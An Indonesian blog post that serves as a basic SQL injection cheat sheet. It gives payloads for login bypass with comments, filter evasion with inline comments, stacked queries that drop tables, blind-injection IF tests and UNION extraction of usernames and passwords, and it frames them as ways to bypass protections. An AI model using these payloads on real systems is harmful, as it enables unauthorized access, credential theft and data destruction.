Simple SQL Injection Advance

Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.

+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:

SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist
+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:

SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

1 komentar:

Unknown mengatakan...

Really nice post. Keep up doing great work. economical IT solutions

Posting Komentar

 
Copyright © XAXNERX Blogger Theme by BloggerThemes & newwpthemes
. . . : : : WE LOVE INDONESIA Ini dadaku, mana dadamu Kalau Malaysia mau konfrontasi ekonomi Kita hadapi dengan konfrontasi ekonomi Kalau Malaysia mau konfrontasi politik Kita hadapi dengan konfrontasi politik Kalau Malaysia mau konfrontasi militer Kita hadapi dengan konfrontasi militer : : : . . .